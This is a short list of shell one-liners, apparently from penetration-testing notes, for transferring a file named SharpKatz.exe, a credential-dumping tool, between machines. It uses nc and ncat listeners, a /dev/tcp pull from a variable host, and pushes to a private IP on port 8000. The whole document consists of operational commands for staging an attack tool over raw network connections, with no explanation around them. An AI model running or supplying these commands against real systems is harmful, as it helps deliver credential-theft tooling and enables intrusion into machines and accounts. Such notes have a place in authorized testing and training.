nc -l -p 8000 > SharpKatz.exe
ncat -l -p 8000 --recv-only > SharpKatz.exe
cat < /dev/tcp/$HOST/443 > SharpKatz.exe
nc -q 0 192.168.49.128 8000 < SharpKatz.exe
ncat --send-only 192.168.49.128 8000 < SharpKatz.exe